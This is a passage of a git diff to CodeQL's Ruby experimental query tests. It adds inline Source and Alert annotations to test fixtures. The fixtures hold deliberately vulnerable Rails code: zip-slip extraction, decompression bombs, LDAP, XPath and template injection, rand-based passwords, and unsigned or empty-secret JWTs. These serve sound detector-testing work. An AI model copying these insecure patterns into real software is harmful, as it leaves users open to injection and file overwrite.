diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref
index c24a4cc9678e..e65789fc0d9a 100644
--- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref
+++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/DecompressionBombs.qlref
@@ -1 +1,2 @@
-experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql
\ No newline at end of file
+query: experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb
index bf9bb7b329dc..1a7636809b13 100644
--- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb
+++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/gzipBombs.rb
@@ -1,27 +1,27 @@
 require 'zlib'
 
 class TestController < ActionController::Base
-  gzip_path = params[:path]
+  gzip_path = params[:path] # $ Source
 
-  Zlib::GzipReader.open(gzip_path).read
+  Zlib::GzipReader.open(gzip_path).read # $ Alert
   Zlib::GzipReader.open(gzip_path) do |uncompressedfile|
     puts uncompressedfile.read
-  end
+  end # $ Alert
   Zlib::GzipReader.open(gzip_path) do |uncompressedfile|
     uncompressedfile.each do |entry|
       puts entry
     end
-  end
-  uncompressedfile = Zlib::GzipReader.open(gzip_path)
+  end # $ Alert
+  uncompressedfile = Zlib::GzipReader.open(gzip_path) # $ Alert
   uncompressedfile.each do |entry|
     puts entry
   end
 
-  Zlib::GzipReader.new(File.open(gzip_path, 'rb')).read
-  Zlib::GzipReader.new(File.open(gzip_path, 'rb')).each do |entry|
+  Zlib::GzipReader.new(File.open(gzip_path, 'rb')).read # $ Alert
+  Zlib::GzipReader.new(File.open(gzip_path, 'rb')).each do |entry| # $ Alert
     puts entry
   end
 
-  Zlib::GzipReader.zcat(open(gzip_path))
+  Zlib::GzipReader.zcat(open(gzip_path)) # $ Alert
 end
 
diff --git a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb
index 5aab5ce63827..9d0d047b0358 100644
--- a/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb
+++ b/ruby/ql/test/query-tests/experimental/CWE-522-DecompressionBombs/zipBombs.rb
@@ -1,21 +1,21 @@
 require 'zip'
 
 class TestController < ActionController::Base
-  zipfile_path = params[:path]
+  zipfile_path = params[:path] # $ Source
 
   Zip::InputStream.open(zipfile_path) do |input|
     while (entry = input.get_next_entry)
       puts :file_name, entry.name
       input
     end
-  end
+  end # $ Alert
   Zip::InputStream.open(zipfile_path) do |input|
     input.read
-  end
-  input = Zip::InputStream.open(zipfile_path)
+  end # $ Alert
+  input = Zip::InputStream.open(zipfile_path) # $ Alert
 
-  Zip::File.open(zipfile_path).read "10GB"
-  Zip::File.open(zipfile_path).extract "10GB", "./"
+  Zip::File.open(zipfile_path).read "10GB" # $ Alert
+  Zip::File.open(zipfile_path).extract "10GB", "./" # $ Alert
 
   Zip::File.open(zipfile_path) do |zip_file|
     # Handle entries one by one
@@ -25,33 +25,33 @@ class TestController < ActionController::Base
       # Extract to file or directory based on name in the archive
       entry.extract
       # Read into memory
-      entry.get_input_stream.read
+      entry.get_input_stream.read # $ Alert
     end
   end
 
   zip_file = Zip::File.open(zipfile_path)
   zip_file.each do |entry|
-    entry.extract
-    entry.get_input_stream.read
+    entry.extract # $ Alert
+    entry.get_input_stream.read # $ Alert
   end
 
   # Find specific entry
   Zip::File.open(zipfile_path) do |zip_file|
     zip_file.glob('*.xml').each do |entry|
-      zip_file.read(entry.name)
-      entry.extract
+      zip_file.read(entry.name) # $ Alert
+      entry.extract # $ Alert
     end
     entry = zip_file.glob('*.csv').first
     raise 'File too large when extracted' if entry.size > MAX_SIZE
-    puts entry.get_input_stream.read
+    puts entry.get_input_stream.read # $ Alert
   end
 
   zip_file = Zip::File.open(zipfile_path)
   entry = zip_file.glob('*.csv')
-  puts entry.get_input_stream.read
+  puts entry.get_input_stream.read # $ Alert
 
   zip_file = Zip::File.open(zipfile_path)
   zip_file.glob('*') do |entry|
-    entry.get_input_stream.read
+    entry.get_input_stream.read # $ Alert
   end
 end
diff --git a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref
index 65f60a22b789..42e36ad38a87 100644
--- a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref
+++ b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.qlref
@@ -1 +1,2 @@
-experimental/ldap-improper-auth/ImproperLdapAuth.ql
\ No newline at end of file
+query: experimental/ldap-improper-auth/ImproperLdapAuth.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb
index 2705158563e3..19acc8a841ae 100644
--- a/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb
+++ b/ruby/ql/test/query-tests/experimental/ImproperLdapAuth/ImproperLdapAuth.rb
@@ -2,7 +2,7 @@ class FooController < ActionController::Base
   def some_request_handler
     # A string tainted by user input is used directly as password
     # (i.e a remote flow source)
-    pass = params[:pass]
+    pass = params[:pass] # $ Source
 
     # BAD: user input is not sanitized
     ldap = Net::LDAP.new(
@@ -12,7 +12,7 @@ def some_request_handler
         auth: {
             method: :simple,
             username: 'uid=admin,dc=example,dc=com',
-            password: pass
+            password: pass # $ Alert
         }
     )
     ldap.bind
@@ -21,14 +21,14 @@ def some_request_handler
   def some_request_handler
     # A string tainted by user input is used directly as password
     # (i.e a remote flow source)
-    pass = params[:pass]
+    pass = params[:pass] # $ Source
 
     # BAD: user input is not sanitized
     ldap = Net::LDAP.new
     ldap.host = your_server_ip_address
     ldap.encryption(:method => :simple_tls)
     ldap.port = 639
-    ldap.auth "admin", pass
+    ldap.auth "admin", pass # $ Alert
     ldap.bind
   end
 end
@@ -56,4 +56,4 @@ def safe_paths
         }
     )
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref
index 8d04d2154257..e3c5fbbad504 100644
--- a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref
+++ b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.qlref
@@ -1 +1,2 @@
-experimental/insecure-randomness/InsecureRandomness.ql
\ No newline at end of file
+query: experimental/insecure-randomness/InsecureRandomness.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb
index 116957137b56..d56bebb30e78 100644
--- a/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb
+++ b/ruby/ql/test/query-tests/experimental/InsecureRandomness/InsecureRandomness.rb
@@ -3,7 +3,7 @@
 def generate_password_1(length)
   chars = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a + ['!', '@', '#', '$', '%']
   # BAD: rand is not cryptographically secure
-  password = (1..length).collect { chars[rand(chars.size)] }.join
+  password = (1..length).collect { chars[rand(chars.size)] }.join # $ Alert
 end
 
 def generate_password_2(length)
@@ -16,4 +16,4 @@ def generate_password_2(length)
 end
 
 password = generate_password_1(10)
-password = generate_password_2(10)
\ No newline at end of file
+password = generate_password_2(10)
diff --git a/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb b/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb
index 966b26ef6364..6e258d9f1804 100644
--- a/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb
+++ b/ruby/ql/test/query-tests/experimental/LdapInjection/LdapInjection.rb
@@ -2,11 +2,11 @@ class FooController < ActionController::Base
   def some_request_handler
     # A string tainted by user input is used directly as DN
     # (i.e a remote flow source)
-    dc = params[:dc]
+    dc = params[:dc] # $ Source
 
     # A string tainted by user input is used directly as search filter or attribute
     # (i.e a remote flow source)
-    name = params[:user_name]
+    name = params[:user_name] # $ Source
 
     # LDAP Connection
     ldap = Net::LDAP.new(
@@ -22,20 +22,20 @@ def some_request_handler
 
     # BAD: user input is used as DN 
     # where dc is unsanitized
-    ldap.search(base: "ou=people,dc=#{dc},dc=com", filter: "cn=George", attributes: [""])
+    ldap.search(base: "ou=people,dc=#{dc},dc=com", filter: "cn=George", attributes: [""]) # $ Alert
 
     # BAD: user input is used as search filter
     # where name is unsanitized
-    ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""])
+    ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""]) # $ Alert
 
     # BAD: user input is used as attribute
     # where name is unsanitized
-    ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [name])
+    ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [name]) # $ Alert
 
     # BAD: user input is used as search filter
     # where name is unsanitized
     filter = Net::LDAP::Filter.eq('cn', name)
-    ldap.search(base: "ou=people,dc=example,dc=com", filter: filter, attributes: [""])
+    ldap.search(base: "ou=people,dc=example,dc=com", filter: filter, attributes: [""]) # $ Alert
 
     # GOOD: user input is not used in the LDAP query
     result = ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=George", attributes: [""])
@@ -63,4 +63,4 @@ def safe_paths
     end
     result = ldap.search(base: "ou=people,dc=example,dc=com", filter: "cn=#{name}", attributes: [""])
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref
index 7df75a91d969..f1164f044e6f 100644
--- a/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref
+++ b/ruby/ql/test/query-tests/experimental/LdapInjection/Ldapinjection.qlref
@@ -1 +1,2 @@
-experimental/ldap-injection/LdapInjection.ql
\ No newline at end of file
+query: experimental/ldap-injection/LdapInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb b/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb
index 41b9d7069530..a433e4d54363 100644
--- a/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb
+++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/ErbInjection.rb
@@ -2,7 +2,7 @@ class FooController < ActionController::Base
   def some_request_handler
     # A string tainted by user input is inserted into a template 
     # (i.e a remote flow source)
-    name = params[:name]
+    name = params[:name] # $ Source
 
     # Template with the source
     bad_text = "
@@ -12,11 +12,11 @@ def some_request_handler
 
     # BAD: user input is evaluated
     # where name is unsanitized
-    template = ERB.new(bad_text).result(binding) 
+    template = ERB.new(bad_text).result(binding)  # $ Alert
 
     # BAD: user input is evaluated
     # where name is unsanitized
-    render inline: bad_text
+    render inline: bad_text # $ Alert
 
     # Template with the source 
     good_text = "
diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb b/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb
index 07b93a20468b..0b7fbc478db6 100644
--- a/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb
+++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/SlimInjection.rb
@@ -2,7 +2,7 @@ class FooController < ActionController::Base
   def some_request_handler
     # A string tainted by user input is inserted into a template 
     # (i.e a remote flow source)
-    name = params[:name]
+    name = params[:name] # $ Source
 
     # Template with the source (no sanitizer)
     bad_text = "
@@ -11,7 +11,7 @@ def some_request_handler
       " % name
     # BAD: renders user input
     # where text is unsanitized
-    Slim::Template.new{ bad_text }.render 
+    Slim::Template.new{ bad_text }.render  # $ Alert
 
     # Template with the source (no sanitizer)
     bad2_text = "
@@ -20,7 +20,7 @@ def some_request_handler
       " 
     # BAD: renders user input
     # where text is unsanitized
-    Slim::Template.new{ bad2_text }.render 
+    Slim::Template.new{ bad2_text }.render  # $ Alert
 
     # Template with the source (no render)
     good_text = "
@@ -64,4 +64,4 @@ def safe_paths
       " % name2
     template_bar1 = Slim::Template.new{ text_bar2 }.render 
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref
index 38054e393eee..e783cc8cabbd 100644
--- a/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref
+++ b/ruby/ql/test/query-tests/experimental/TemplateInjection/TemplateInjection.qlref
@@ -1 +1,2 @@
-experimental/template-injection/TemplateInjection.ql
\ No newline at end of file
+query: experimental/template-injection/TemplateInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb
index 3bde2f1e40b9..8a992b5ba36b 100644
--- a/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb
+++ b/ruby/ql/test/query-tests/experimental/XPathInjection/LibxmlInjection.rb
@@ -2,7 +2,7 @@
 
 class FooController < ActionController::Base
   def libxml_handler(event:, context:)
-    name = params[:user_name]
+    name = params[:user_name] # $ Source
 
     xml = <<-XML
       <root>
@@ -18,13 +18,13 @@ def libxml_handler(event:, context:)
     results1 = doc.find_first('//foo')
 
     # BAD: XPath query is constructed from user input
-    results2 = doc.find_first("//#{name}")
+    results2 = doc.find_first("//#{name}") # $ Alert
 
     # GOOD: XPath query is not constructed from user input
     results3 = doc.find('//foo')
 
     # BAD: XPath query is constructed from user input
-    results4 = doc.find("//#{name}")
+    results4 = doc.find("//#{name}") # $ Alert
   end
 end
 
diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb
index e3ac8055f486..e782d923034d 100644
--- a/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb
+++ b/ruby/ql/test/query-tests/experimental/XPathInjection/NokogiriInjection.rb
@@ -2,7 +2,7 @@
 
 class FooController < ActionController::Base
   def nokogiri_handler(event:, context:)
-    name = params[:user_name]
+    name = params[:user_name] # $ Source
 
     xml = <<-XML
       <root>
@@ -18,19 +18,19 @@ def nokogiri_handler(event:, context:)
     results1 = doc.at('//foo')
 
     # BAD: XPath query is constructed from user input
-    results2 = doc.at("//#{name}")
+    results2 = doc.at("//#{name}") # $ Alert
 
     # GOOD: XPath query is not constructed from user input
     results3 = doc.xpath('//foo')
 
     # BAD: XPath query is constructed from user input
-    results4 = doc.xpath("//#{name}")
+    results4 = doc.xpath("//#{name}") # $ Alert
 
     # GOOD: XPath query is not constructed from user input
     results5 = doc.at_xpath('//foo')
 
     # BAD: XPath query is constructed from user input
-    results6 = doc.at_xpath("//#{name}")
+    results6 = doc.at_xpath("//#{name}") # $ Alert
 
     # GOOD: XPath query is not constructed from user input
     doc.xpath('//foo').each do |element|
@@ -38,7 +38,7 @@ def nokogiri_handler(event:, context:)
     end
 
     # BAD: XPath query constructed from user input
-    doc.xpath("//#{name}").each do |element|
+    doc.xpath("//#{name}").each do |element| # $ Alert
         puts element.text
     end
 
@@ -48,7 +48,7 @@ def nokogiri_handler(event:, context:)
     end
 
     # BAD: XPath query constructed from user input
-    doc.search("//#{name}").each do |element|
+    doc.search("//#{name}").each do |element| # $ Alert
         puts element.text
     end
   end
@@ -85,4 +85,4 @@ def nokogiri_safe_handler(event:, context:)
     results9 = doc.at_xpath("//#{safe_name}")
 
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb b/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb
index 6ee16d125b43..87ceb2cbb3c2 100644
--- a/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb
+++ b/ruby/ql/test/query-tests/experimental/XPathInjection/RexmlInjection.rb
@@ -2,7 +2,7 @@
 
 class FooController < ActionController::Base
   def rexml_handler(event:, context:)
-    name = params[:user_name]
+    name = params[:user_name] # $ Source
 
     xml = <<-XML
         <root>
@@ -18,13 +18,13 @@ def rexml_handler(event:, context:)
     results1 = REXML::XPath.first(doc, "//foo")
 
     # BAD: XPath query is constructed from user input
-    results2 = REXML::XPath.first(doc, "//#{name}")
+    results2 = REXML::XPath.first(doc, "//#{name}") # $ Alert
 
     # GOOD: XPath query is not constructed from user input
     results3 = REXML::XPath.match(doc, "//foo", nil)
 
     # BAD: XPath query is constructed from user input
-    results4 = REXML::XPath.match(doc, "//#{name}", nil)
+    results4 = REXML::XPath.match(doc, "//#{name}", nil) # $ Alert
 
     # GOOD: XPath query is not constructed from user input
     REXML::XPath.each(doc, "//foo") do |element|
@@ -32,7 +32,7 @@ def rexml_handler(event:, context:)
     end
 
     # BAD: XPath query constructed from user input
-    REXML::XPath.each(doc, "//#{name}") do |element|
+    REXML::XPath.each(doc, "//#{name}") do |element| # $ Alert
         puts element.text
     end
   end
@@ -66,4 +66,4 @@ def rexml_safe_handler(event:, context:)
     results6 = REXML::XPath.match(doc, "//#{safe_name}", nil)
 
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref
index a5b1b23c2031..7ca9780f11c3 100644
--- a/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref
+++ b/ruby/ql/test/query-tests/experimental/XPathInjection/XPathInjection.qlref
@@ -1 +1,2 @@
-experimental/xpath-injection/XpathInjection.ql
\ No newline at end of file
+query: experimental/xpath-injection/XpathInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref
index 2ecd57e4b2bc..a5b8c00322e5 100644
--- a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref
+++ b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/ZipSlip.qlref
@@ -1 +1,2 @@
-experimental/cwe-022-zipslip/ZipSlip.ql
+query: experimental/cwe-022-zipslip/ZipSlip.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb
index 4e5aa27d00a1..72c8c4701fcb 100644
--- a/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb
+++ b/ruby/ql/test/query-tests/experimental/cwe-022-ZipSlip/zip_slip.rb
@@ -5,9 +5,9 @@ class TestController < ActionController::Base
   def tarReaderUnsafe
     path = params[:path]
     file_stream = IO.new(IO.sysopen(path))
-    tarfile = Gem::Package::TarReader.new(file_stream)
+    tarfile = Gem::Package::TarReader.new(file_stream) # $ Source
     tarfile.each do |entry|
-      ::File.open(entry.full_name, "wb") do |os|
+      ::File.open(entry.full_name, "wb") do |os| # $ Alert
         entry.read
       end
     end
@@ -17,9 +17,9 @@ def tarReaderUnsafe
   def tarReaderBlockUnsafe
     path = params[:path]
     file_stream = IO.new(IO.sysopen(path))
-    Gem::Package::TarReader.new(file_stream) do |tarfile|
+    Gem::Package::TarReader.new(file_stream) do |tarfile| # $ Source
       tarfile.each_entry do |entry|
-        ::File.open(entry.full_name, "wb") do |os|
+        ::File.open(entry.full_name, "wb") do |os| # $ Alert
           entry.read
         end
       end
@@ -43,8 +43,8 @@ def tarReadeSanitizedExpandPath
   # BAD
   def zipFileUnsafe
     path = params[:path]
-    Zip::File.open(path).each do |entry|
-      File.open(entry.name, "wb") do |os|
+    Zip::File.open(path).each do |entry| # $ Source
+      File.open(entry.name, "wb") do |os| # $ Alert
         entry.read
       end
     end
@@ -53,9 +53,9 @@ def zipFileUnsafe
   # BAD
   def zipFileBlockUnsafe
     path = params[:path]
-    Zip::File.open(path) do |zip_file|
+    Zip::File.open(path) do |zip_file| # $ Source
       zip_file.each do |entry|
-        File.open(entry.name, "wb") do |os|
+        File.open(entry.name, "wb") do |os| # $ Alert
           entry.read
         end
       end
@@ -87,7 +87,7 @@ def zipFileSanitizedConstCompare
   end
   
   def get_compressed_file_stream(compressed_file_path)
-    gzip = Zlib::GzipReader.open(compressed_file_path)
+    gzip = Zlib::GzipReader.open(compressed_file_path) # $ Source
     yield(gzip)
   end
   
@@ -97,7 +97,7 @@ def gzipReaderUnsafe
     get_compressed_file_stream(path) do |compressed_file|
       compressed_file.each do |entry|
         entry_path = entry.full_name
-        ::File.open(entry_path, 'wb') do |os|
+        ::File.open(entry_path, 'wb') do |os| # $ Alert
           entry.read
         end
       end
@@ -120,10 +120,10 @@ def gzipReaderSafeConstPath
   def gzipReaderUnsafeNewInstance
     path = params[:path]
     File.open(path, 'rb') do |f|
-      gz = Zlib::GzipReader.new(f)
+      gz = Zlib::GzipReader.new(f) # $ Source
       gz.each do |entry|
         entry_path = entry.full_name
-        ::File.open(entry_path, 'wb') do |os|
+        ::File.open(entry_path, 'wb') do |os| # $ Alert
           entry.read
         end
       end
diff --git a/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref b/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref
index 2faba2ebb125..a13083c07d57 100644
--- a/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref
+++ b/ruby/ql/test/query-tests/experimental/cwe-176/UnicodeBypassValidation.qlref
@@ -1 +1,2 @@
-experimental/cwe-176/UnicodeBypassValidation.ql
+query: experimental/cwe-176/UnicodeBypassValidation.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/cwe-176/unicode_normalization.rb b/ruby/ql/test/query-tests/experimental/cwe-176/unicode_normalization.rb
index a7b77cc3a66b..e158bc47fdda 100644
--- a/ruby/ql/test/query-tests/experimental/cwe-176/unicode_normalization.rb
+++ b/ruby/ql/test/query-tests/experimental/cwe-176/unicode_normalization.rb
@@ -4,35 +4,35 @@
 
 class UnicodeNormalizationOKController < ActionController::Base
   def unicodeNormalize
-    unicode_input = params[:unicode_input]
-    normalized_nfkc = unicode_input.unicode_normalize(:nfkc)      # $ MISSING:result=OK
-    normalized_nfc = unicode_input.unicode_normalize(:nfc)        # $ MISSING:result=OK
+    unicode_input = params[:unicode_input] # $ Source
+    normalized_nfkc = unicode_input.unicode_normalize(:nfkc) # $ Alert // $ MISSING:result=OK
+    normalized_nfc = unicode_input.unicode_normalize(:nfc) # $ Alert // $ MISSING:result=OK
   end
 end
 
 class UnicodeNormalizationStrManipulationController < ActionController::Base
   def unicodeNormalize
-    unicode_input = params[:unicode_input]
-    unicode_input_manip = unicode_input.sub(/[aeiou]/, "*")
-    normalized_nfkc = unicode_input_manip.unicode_normalize(:nfkc)  # $ result=BAD
-    normalized_nfc = unicode_input_manip.unicode_normalize(:nfc)    # $ result=BAD
+    unicode_input = params[:unicode_input] # $ Source
+    unicode_input_manip = unicode_input.sub(/[aeiou]/, "*") # $ Source
+    normalized_nfkc = unicode_input_manip.unicode_normalize(:nfkc) # $ Alert // $ result=BAD
+    normalized_nfc = unicode_input_manip.unicode_normalize(:nfc) # $ Alert // $ result=BAD
   end
 end
 
 class UnicodeNormalizationHtMLEscapeController < ActionController::Base
   def unicodeNormalize
-    unicode_input = params[:unicode_input]
-    unicode_html_safe = html_escape(unicode_input)
-    normalized_nfkc = unicode_html_safe.unicode_normalize(:nfkc)    # $ result=BAD
-    normalized_nfc = unicode_html_safe.unicode_normalize(:nfc)      # $ result=BAD
+    unicode_input = params[:unicode_input] # $ Source
+    unicode_html_safe = html_escape(unicode_input) # $ Source
+    normalized_nfkc = unicode_html_safe.unicode_normalize(:nfkc) # $ Alert // $ result=BAD
+    normalized_nfc = unicode_html_safe.unicode_normalize(:nfc) # $ Alert // $ result=BAD
   end
 end
 
 class UnicodeNormalizationCGIHtMLEscapeController < ActionController::Base
   def unicodeNormalize
-    unicode_input = params[:unicode_input]
-    unicode_html_safe = CGI.escapeHTML(unicode_input).html_safe
-    normalized_nfkc = unicode_html_safe.unicode_normalize(:nfkd)    # $ result=BAD
-    normalized_nfc = unicode_html_safe.unicode_normalize(:nfd)      # $ result=BAD
+    unicode_input = params[:unicode_input] # $ Source
+    unicode_html_safe = CGI.escapeHTML(unicode_input).html_safe # $ Source
+    normalized_nfkc = unicode_html_safe.unicode_normalize(:nfkd) # $ Alert // $ result=BAD
+    normalized_nfc = unicode_html_safe.unicode_normalize(:nfd) # $ Alert // $ result=BAD
   end
 end
diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref
index 3d034add0ba4..c6f2acf7d750 100644
--- a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref
+++ b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.qlref
@@ -1 +1,2 @@
-experimental/cwe-347/EmptyJWTSecret.ql
\ No newline at end of file
+query: experimental/cwe-347/EmptyJWTSecret.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb
index a78ec0d0421b..68cdb179c753 100644
--- a/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb
+++ b/ruby/ql/test/query-tests/experimental/cwe-347/EmptyJWTSecret.rb
@@ -6,10 +6,10 @@
 token1 = JWT.encode({ foo: 'bar' }, "secret", 'none')
 
 # BAD: the secret used is empty
-token2 = JWT.encode({ foo: 'bar' }, nil, 'HS256')
+token2 = JWT.encode({ foo: 'bar' }, nil, 'HS256') # $ Alert[rb/jwt-empty-secret-or-algorithm]
 
 # BAD: the secret used is empty
-token3 = JWT.encode({ foo: 'bar' }, "", 'HS256')
+token3 = JWT.encode({ foo: 'bar' }, "", 'HS256') # $ Alert[rb/jwt-empty-secret-or-algorithm]
 
 # GOOD: the token is signed
-token4 = JWT.encode({ foo: 'bar' }, "secret", 'HS256')
\ No newline at end of file
+token4 = JWT.encode({ foo: 'bar' }, "secret", 'HS256')
diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref
index 793275aef112..dba60e5fbb48 100644
--- a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref
+++ b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.qlref
@@ -1 +1,2 @@
-experimental/cwe-347/MissingJWTVerification.ql
\ No newline at end of file
+query: experimental/cwe-347/MissingJWTVerification.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb
index 4c5bd08094ed..cf7fc7cbf8eb 100644
--- a/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb
+++ b/ruby/ql/test/query-tests/experimental/cwe-347/MissingJWTVerification.rb
@@ -3,22 +3,22 @@
 payload = { foo: 'bar' }
 
 # Unsecure token
-token_without_signature = JWT.encode(payload, nil, 'none')
+token_without_signature = JWT.encode(payload, nil, 'none') # $ Alert[rb/jwt-empty-secret-or-algorithm]
 
 # Secure token
 token = JWT.encode(payload, "secret", 'HS256')
 
 # BAD: it does not verify
-decoded_token1 = JWT.decode(token_without_signature, nil, false, algorithm: 'HS256')
+decoded_token1 = JWT.decode(token_without_signature, nil, false, algorithm: 'HS256') # $ Alert[rb/jwt-missing-verification]
 
 # BAD: it's using none
-decoded_token3 = JWT.decode(token_without_signature, secret, true, algorithm: 'none')
+decoded_token3 = JWT.decode(token_without_signature, secret, true, algorithm: 'none') # $ Alert[rb/jwt-missing-verification]
 
 # BAD: it's using none
-decoded_token4 = JWT.decode(token_without_signature, secret, true, { algorithm: 'none' })
+decoded_token4 = JWT.decode(token_without_signature, secret, true, { algorithm: 'none' }) # $ Alert[rb/jwt-missing-verification]
 
 # GOOD: it does verify
 decoded_token5 = JWT.decode(token, secret, 'HS256')
 
 # GOOD: it does verify
-decoded_token2 = JWT.decode(token,secret)
\ No newline at end of file
+decoded_token2 = JWT.decode(token,secret)
diff --git a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref
index 991ba757e43a..f7fb7dfe3fc4 100644
